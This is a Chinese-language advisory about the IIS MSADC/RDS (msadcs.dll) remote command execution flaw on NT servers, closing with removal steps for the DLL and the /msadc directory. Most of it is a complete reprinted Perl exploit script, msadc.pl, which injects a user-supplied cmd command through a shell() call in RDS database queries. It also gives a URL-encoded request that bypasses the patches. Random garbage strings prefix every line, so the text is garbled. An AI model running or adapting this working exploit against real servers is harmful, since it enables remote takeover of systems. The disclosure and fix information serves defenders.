IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
eyW8?: X3e&c 涉及程序:
kvcDa+# Microsoft NT server
Em)U`"j/9 S&/,+x'c| 描述:
_PT5 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?M!Mb-C[ 94^)Ar~O
详细:
JguPXHa0 如果你没有时间读详细内容的话,就删除:
aItQ(+y c:\Program Files\Common Files\System\Msadc\msadcs.dll
#1*#3p9UL 有关的安全问题就没有了。
[wU e"{ R!i\-C1 S 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
V=^B7a.;> U\*]cw 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
VyX5MVh 关于利用ODBC远程漏洞的描述,请参看:
C7*n<+e :I_p4S.) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r$[`A_ e}dGK=` 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
r1<dZtb http://www.microsoft.com/security/bulletins/MS99-025faq.asp >~@O\n-t $7h]A$$Fv 这里不再论述。
!/nXEjW? Q^\m@7O
: 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
_%g L P:D;w2'Q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8\WV.+ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
RW~!)^ yY[9\! {zX]41T #将下面这段保存为txt文件,然后: "perl -x 文件名"
Fn>KdoByN )<Fq}Q86 #!perl
4)"S/u #
dG&^M".( # MSADC/RDS 'usage' (aka exploit) script
>{6U1ft): #
~c,CngeL0 # by rain.forest.puppy
nuKcq!L #
"@z X{^: # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Emy=q5ryl # beta test and find errors!
b?{MXJ| QPX&P{!g use Socket; use Getopt::Std;
cwuzi;f getopts("e:vd:h:XR", \%args);
>``sM=W at )ifjK6* print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:FT x#cZ XHU\;TF if (!defined $args{h} && !defined $args{R}) {
QC,fyw\ print qq~
x~Y{
{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
H;nEU@>"Z -h <host> = host you want to scan (ip or domain)
O&dBLh!G -d <seconds> = delay between calls, default 1 second
{FQ@eeU -X = dump Index Server path table, if available
@E 8P>kq -v = verbose
@An} -e = external dictionary file for step 5
0=0,ix7?# \sMe2OL#z Or a -R will resume a command session
l1bkhA b
Y~xo=v( ~; exit;}
lArKfs/ +7\d78U $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'-U&S if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/KLkrW if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
zmU@ k if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
SZ29B $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
l+#J oc<8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0iYo&q'n _01wRsm%2 if (!defined $args{R}){ $ret = &has_msadc;
NSa6\.W) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
zO`4W!x& @(bg# print "Please type the NT commandline you want to run (cmd /c assumed):\n"
C. BlB . "cmd /c ";
2HUw^ *3 $in=<STDIN>; chomp $in;
}?\^^v h7 $command="cmd /c " . $in ;
8.,d`~ 7nm'v'\u+V if (defined $args{R}) {&load; exit;}
,,SV@y; hK,a8%KnFA print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5cGQ `l &try_btcustmr;
FnKC|X Fw\g\ print "\nStep 2: Trying to make our own DSN...";
t"zi'9$t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
4O{G^; !&xci})7a print "\nStep 3: Trying known DSNs...";
Ur]/kij &known_dsn;
o%bf7)~s |1GOm=GNK print "\nStep 4: Trying known .mdbs...";
lEgjv, &known_mdb;
h@E7wp1'~ c/Fgx/hr if (defined $args{e}){
;L,i">_%u[ print "\nStep 5: Trying dictionary of DSN names...";
Xp] jF^5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
j7U&a}(
1fvN[ print "Sorry Charley...maybe next time?\n";
PB
*v45 exit;
e|?eY)_ 2eHVl.C5 ##############################################################################
qu1+.z=| =z;]FauR! sub sendraw { # ripped and modded from whisker
RL:B.Lv/W sleep($delay); # it's a DoS on the server! At least on mine...
3. @LAF my ($pstr)=@_;
$ay!'MK0d socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
oYdE s&qq die("Socket problems\n");
&?1O D5 if(connect(S,pack "SnA4x8",2,80,$target)){
^2H; select(S); $|=1;
dB6['z)2 print $pstr; my @in=<S>;
tKS[ select(STDOUT); close(S);
_RzFh return @in;
(H5#r2h%Y } else { die("Can't connect...\n"); }}
,{mv6?_ m}u)C&2> ##############################################################################
X;H\u6-|>6 NXQ=8o9,9 sub make_header { # make the HTTP request
IMr#5 my $msadc=<<EOT
XmD(&3;v- POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
?2l`%l5( User-Agent: ACTIVEDATA
+ %v1X&_\ Host: $ip
Cdy,8* Content-Length: $clen
>+Ig<}p Connection: Keep-Alive
Um}AV 7O'.KoMw ADCClientVersion:01.06
RyP MzxV Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
I?St}Tl 5D.Sg;\ --!ADM!ROX!YOUR!WORLD!
j g//I<D Content-Type: application/x-varg
e
pp04~ Content-Length: $reqlen
7*j!ZUzp m";..V EOT
9Vqy<7i1 ; $msadc=~s/\n/\r\n/g;
>s 6ye return $msadc;}
^D5Jqh)
pmUf*u- ##############################################################################
76"4Q! r<vy6 sub make_req { # make the RDS request
VP>*J`'H my ($switch, $p1, $p2)=@_;
[zBi*%5O my $req=""; my $t1, $t2, $query, $dsn;
O^3kPVr ]+46r!r| if ($switch==1){ # this is the btcustmr.mdb query
(:qc[,m $query="Select * from Customers where City=" . make_shell();
r88De=* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`<yQ`Y_X $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
I ^m L-}J=n\ elsif ($switch==2){ # this is general make table query
5wmd[YL $query="create table AZZ (B int, C varchar(10))";
#GLW3} $dsn="$p1";}
,%
QhS5e 'UUj(1
f elsif ($switch==3){ # this is general exploit table query
oz>2P.7 $query="select * from AZZ where C=" . make_shell();
Q&N#q53 $dsn="$p1";}
:IU7dpwDl #gqh0 27 elsif ($switch==4){ # attempt to hork file info from index server
m0As t<u $query="select path from scope()";
;xe.0j0h $dsn="Provider=MSIDXS;";}
BO#tn{(# yw$4Hlj5 elsif ($switch==5){ # bad query
n8F~!|lQ0 $query="select";
k'PvTWR $dsn="$p1";}
Lj(cCtb) |mE;HvQF $t1= make_unicode($query);
?"r=08 $t2= make_unicode($dsn);
3r,~-6 $req = "\x02\x00\x03\x00";
9M;t4Um $req.= "\x08\x00" . pack ("S1", length($t1));
RSe4lw $req.= "\x00\x00" . $t1 ;
Go)g}#.& $req.= "\x08\x00" . pack ("S1", length($t2));
^t5My[R $req.= "\x00\x00" . $t2 ;
>9rZVNMU $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}a$.ngP return $req;}
F^'$%XK V YO .+-( ##############################################################################
8k95IJR1 5gtf`ebs/ sub make_shell { # this makes the shell() statement
+x=)Kp> return "'|shell(\"$command\")|'";}
<|4$TH^t >P:X\5Oj ##############################################################################
hK{H7Ey* xsB0LUt sub make_unicode { # quick little function to convert to unicode
'"fJA/O my ($in)=@_; my $out;
?' .AeoE- for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
m<hP"j return $out;}
KF00=HE|] .a]#AFX ##############################################################################
-1,0hmn=+ /V:9*C sub rdo_success { # checks for RDO return success (this is kludge)
[K.1 X=O} my (@in) = @_; my $base=content_start(@in);
Q}|K29Y:p if($in[$base]=~/multipart\/mixed/){
3y6\0|{1 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
8rH6L:]S return 0;}
8{!d'Pks 3{$7tck, ##############################################################################
N
o6!gZ1 d]]z ) sub make_dsn { # this makes a DSN for us
o]4\Geg$ my @drives=("c","d","e","f");
IgG[Pr'D print "\nMaking DSN: ";
B6Kl_~gT foreach $drive (@drives) {
"vSKj/] print "$drive: ";
+ODua@ULFB my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
OALNZKP "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
x_nwD" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
WJOoDS!i $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
(MI>7| '; return 0 if $2 eq "404"; # not found/doesn't exist
\4q|Qno8 if($2 eq "200") {
h<U?WtWT-p foreach $line (@results) {
+T$Olz return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
&\N>N7/1 } return 0;}
teg5g|* HCs^?s8Pp ##############################################################################
gHLI>ew*QR JP5e=Z< sub verify_exists {
E(P
6s;LZ my ($page)=@_;
FKTF?4+\U my @results=sendraw("GET $page HTTP/1.0\n\n");
;"Kgg:K>W return $results[0];}
5,1<A@H 0cq@lT6 ##############################################################################
.how@>:P+ 93HVx# sub try_btcustmr {
(QiA5!wg my @drives=("c","d","e","f");
+gX,r$bX my @dirs=("winnt","winnt35","winnt351","win","windows");
L'e^D| &/? Ct!_ foreach $dir (@dirs) {
l~rj7f; print "$dir -> "; # fun status so you can see progress
=EP`,zqn$9 foreach $drive (@drives) {
{h@\C|nF print "$drive: "; # ditto
c4Zpt%:}h $reqlen=length( make_req(1,$drive,$dir) ) - 28;
TwPQ8}pj? $reqlenlen=length( "$reqlen" );
jr4xh{Z` $clen= 206 + $reqlenlen + $reqlen;
:3n@]. y("WnVI my @results=sendraw(make_header() . make_req(1,$drive,$dir));
xmv%O&0^} if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
4GRD- f[ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Q v9q~l =0=#M(w ##############################################################################
q@ -B+ iYStl sub odbc_error {
`F7]M my (@in)=@_; my $base;
=\oH=
f my $base = content_start(@in);
v_!6S|
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
z%YNZ^d $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
B$_4ul\) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a:)FWdp?9 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7y'":1 return $in[$base+4].$in[$base+5].$in[$base+6];}
R&Y_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<
'5~p$ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
HY)xT$/J $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<:v+<)K 8%7%[WC# ##############################################################################
&:&89<C' ?bB>}:~j) sub verbose {
*p}mn#ru- my ($in)=@_;
gF{ehU% return if !$verbose;
v|%41xOsr print STDOUT "\n$in\n";}
bmv8nal<Y !%G]~ ##############################################################################
1ML L D~6[C:m sub save {
%e E^Y<@g my ($p1, $p2, $p3, $p4)=@_;
|h]V9= open(OUT, ">rds.save") || print "Problem saving parameters...\n";
fg^25g'_ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ZRagM'K close OUT;}
vA/SrX. pLB2! + ##############################################################################
UCLM*`M 1INX#qTZ sub load {
z'q~%1t my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
S}@7Z` open(IN,"<rds.save") || die("Couldn't open rds.save\n");
y&NqVR= @p=<IN>; close(IN);
M~taZt4 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
?F"o+]i+^ $target= inet_aton($ip) || die("inet_aton problems");
G(&[1V % x print "Resuming to $ip ...";
TpKAdrY $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
3f7zW3F if($p[1]==1) {
=?RI`}vw_H $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=_dM@ j $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
hQn?qJy%W my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<~smBd if (rdo_success(@results)){print "Success!\n";}
p;+O/'/j else { print "failed\n"; verbose(odbc_error(@results));}}
C? zS}ob elsif ($p[1]==3){
kTb$lLG\xk if(run_query("$p[3]")){
!#KKJ`uB" print "Success!\n";} else { print "failed\n"; }}
ku]5sd >b elsif ($p[1]==4){
\=ML*Gi* if(run_query($drvst . "$p[3]")){
ipv5JD[ print "Success!\n"; } else { print "failed\n"; }}
<Ua~+U(FR0 exit;}
3B1\-ry1M pDR~SxBXr ##############################################################################
{"ST
hTZ )eyzHB,H sub create_table {
U]3!"+Y1P my ($in)=@_;
hd)Jq'MCS $reqlen=length( make_req(2,$in,"") ) - 28;
54_}9_g $reqlenlen=length( "$reqlen" );
}'oU/@yG $clen= 206 + $reqlenlen + $reqlen;
X1^VdJE my @results=sendraw(make_header() . make_req(2,$in,""));
;I>nA6A return 1 if rdo_success(@results);
cJ4My#w my $temp= odbc_error(@results); verbose($temp);
KL&/Yt return 1 if $temp=~/Table 'AZZ' already exists/;
2*NPK} return 0;}
?@b6(f
xX >yO/p(/;jR ##############################################################################
vzIo2,/7 <]rayUyaf sub known_dsn {
l/N<'T_G # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ZJ/528Ju my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
?v2_7x& "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
/q9I^ ztV "banner", "banners", "ads", "ADCDemo", "ADCTest");
gu
k,GF9p] 5|H;%T3_ foreach $dSn (@dsns) {
,!:c6F+ print ".";
UleT9 [M next if (!is_access("DSN=$dSn"));
$BwWQ?lp if(create_table("DSN=$dSn")){
!nBbt?* print "$dSn successful\n";
c!Hz'W if(run_query("DSN=$dSn")){
4Q|>k)H print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<o(;~ print "Something's borked. Use verbose next time\n";}}} print "\n";}
t<!m4Yd|# 4S_f2P2J ##############################################################################
S2$E`'
J v
vErzUxN sub is_access {
cIU2 qFn[ my ($in)=@_;
,?GwA@~$k: $reqlen=length( make_req(5,$in,"") ) - 28;
j
3<Ci {3 $reqlenlen=length( "$reqlen" );
T)! }Wvv $clen= 206 + $reqlenlen + $reqlen;
dSGdK
$ XA my @results=sendraw(make_header() . make_req(5,$in,""));
]\39# my $temp= odbc_error(@results);
I{IB>j}8 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
'.|} return 0;}
uN%Cc12 vpu#!(N ##############################################################################
Ic/hVKYG5 v$}^$8` sub run_query {
aq?bI:>8 my ($in)=@_;
scV%p&{a $reqlen=length( make_req(3,$in,"") ) - 28;
?@"@9na $reqlenlen=length( "$reqlen" );
xQFRM aQE $clen= 206 + $reqlenlen + $reqlen;
S@,/$L my @results=sendraw(make_header() . make_req(3,$in,""));
)PN8HJAArh return 1 if rdo_success(@results);
K?l|1jez(# my $temp= odbc_error(@results); verbose($temp);
gfL :SP8 return 0;}
/$; Z ~^P o-<i+ To% ##############################################################################
M^kaik db )2> sub known_mdb {
=D(a~8&, my @drives=("c","d","e","f","g");
6qZQ20h my @dirs=("winnt","winnt35","winnt351","win","windows");
392V\qtS my $dir, $drive, $mdb;
7?fgcb3 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
zdP?HJ=F SgU@`Pb # this is sparse, because I don't know of many
534pX7dg my @sysmdbs=( "\\catroot\\icatalog.mdb",
-h8mJ D%Oi "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^*P?gG "\\system32\\certmdb.mdb",
4phCn5 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
0AnL]`"t.3 cj>@Jx}]M my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
r]e{~v/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
2zj`
H9 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
SzLlJUV X "\\cfusion\\cfapps\\security\\realm_.mdb",
HYl+xH'.j "\\cfusion\\cfapps\\security\\data\\realm.mdb",
%pZT3dcK "\\cfusion\\database\\cfexamples.mdb",
3U6QYD55]] "\\cfusion\\database\\cfsnippets.mdb",
N<JI^%HBgP "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
UN?tn}`! "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
nDkG}JkB! "\\cfusion\\brighttiger\\database\\cleam.mdb",
(Q{JI~P "\\cfusion\\database\\smpolicy.mdb",
e{8C0= "\\cfusion\\database\cypress.mdb",
V
FM[- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?c.\\2>|F "\\website\\cgi-win\\dbsample.mdb",
HVM%B{( "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
I(6%'s2 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
cC8$ oCR? ); #these are just
|6AR! foreach $drive (@drives) {
ic G 9x foreach $dir (@dirs){
P}6#s'07~ foreach $mdb (@sysmdbs) {
zfU Do`V~ print ".";
4W>DW`{ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
LsR<r1KDJ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
2[w9#6ly if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
H [+'>Id: print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Kj0)/Fjl+ } else { print "Something's borked. Use verbose next time\n"; }}}}}
% 3#g- v=^^Mr"Z^ foreach $drive (@drives) {
VmQ^F|
{ foreach $mdb (@mdbs) {
wo9R:kQ print ".";
3r%v@8)!b if(create_table($drv . $drive . $dir . $mdb)){
9No6\{[M
print "\n" . $drive . $dir . $mdb . " successful\n";
n[/D>Pi if(run_query($drv . $drive . $dir . $mdb)){
Yte*$cJ= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(
%sfwv } else { print "Something's borked. Use verbose next time\n"; }}}}
1XS~b-St }
MKtI3vi? 2K~v`c*4 ##############################################################################
{:cGt2*~^ pll5m7[ sub hork_idx {
Z{3=.z{&^= print "\nAttempting to dump Index Server tables...\n";
y95
#t print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
eHx {[J? $reqlen=length( make_req(4,"","") ) - 28;
o]0E $reqlenlen=length( "$reqlen" );
.Z7tE? $clen= 206 + $reqlenlen + $reqlen;
!5 S# my @results=sendraw2(make_header() . make_req(4,"",""));
DvWBvs, if (rdo_success(@results)){
_~Lu% my $max=@results; my $c; my %d;
|TJ gH<I for($c=19; $c<$max; $c++){
[?z;'O}y $results[$c]=~s/\x00//g;
['(qeS@5O $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6X ]I`e $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
eI|FrBq% $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
z{.&sr>+v $d{"$1$2"}="";}
D*L@I@
[ foreach $c (keys %d){ print "$c\n"; }
nR%w5oe } else {print "Index server doesn't seem to be installed.\n"; }}
tdU'cc?M ,,FhE ##############################################################################
c'$y_] 8?~>FLWTXZ sub dsn_dict {
SP0ueAa} open(IN, "<$args{e}") || die("Can't open external dictionary\n");
V xN!Ki= while(<IN>){
i@{b+5$ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Tu:lIy~A next if (!is_access("DSN=$dSn"));
Jn(|.eT| if(create_table("DSN=$dSn")){
D[T\_3W print "$dSn successful\n";
L{sFR^-G if(run_query("DSN=$dSn")){
HmXxM:[4; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
pDC`Fi print "Something's borked. Use verbose next time\n";}}}
i{g~u<DH)Q print "\n"; close(IN);}
oKRI2ni$j9 k8Dk;N ##############################################################################
QKk7"2t| ,9OER!$y sub sendraw2 { # ripped and modded from whisker
g9GPyU sleep($delay); # it's a DoS on the server! At least on mine...
=j_4!^ my ($pstr)=@_;
!rx5i socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
nJH'^rO!C die("Socket problems\n");
;&b=>kPlZ if(connect(S,pack "SnA4x8",2,80,$target)){
m%U=:u7#M print "Connected. Getting data";
.:-*89c open(OUT,">raw.out"); my @in;
i39_( )X select(S); $|=1; print $pstr;
k]4CN while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
z'Bvjul close(OUT); select(STDOUT); close(S); return @in;
f`}u9!jVR } else { die("Can't connect...\n"); }}
Kd}%%L .Sm 8t$ ##############################################################################
RaiYq#X/ {s@&3i?ZiC sub content_start { # this will take in the server headers
LWo )x my (@in)=@_; my $c;
I/h( *~/ for ($c=1;$c<500;$c++) {
JWt@vf~ if($in[$c] =~/^\x0d\x0a/){
#,jm3Mqj if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
.37Jrh0Iv else { return $c+1; }}}
B}p{$g! return -1;} # it should never get here actually
}Ias7d?re 1O;q|p'9 ##############################################################################
uyWt{>$ G8p6p6* sub funky {
f>_' ]eM% my (@in)=@_; my $error=odbc_error(@in);
Y]{~ogsn$: if($error=~/ADO could not find the specified provider/){
|"EQyV print "\nServer returned an ADO miscofiguration message\nAborting.\n";
4] I7t exit;}
??`zW if($error=~/A Handler is required/){
],ISWb print "\nServer has custom handler filters (they most likely are patched)\n";
KdtQJ:_`k exit;}
T|Fl$is if($error=~/specified Handler has denied Access/){
5XA{<)$ print "\nServer has custom handler filters (they most likely are patched)\n";
z0-`D.D@\ exit;}}
s(Llz]E~ZX io(Rb\#" ##############################################################################
/aD3E"Op /jv4#9 sub has_msadc {
t5WW3$Nf my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
6{PlclI ! my $base=content_start(@results);
qm=N@@R& return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
EAXbbcV return 0;}
z7g=L@ OB5`a,5dI ########################
>hmBV7nR \$[S=&E W~FM^xR?p 解决方案:
z#elwL6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
_"0Bg3Y 2、移除web 目录: /msadc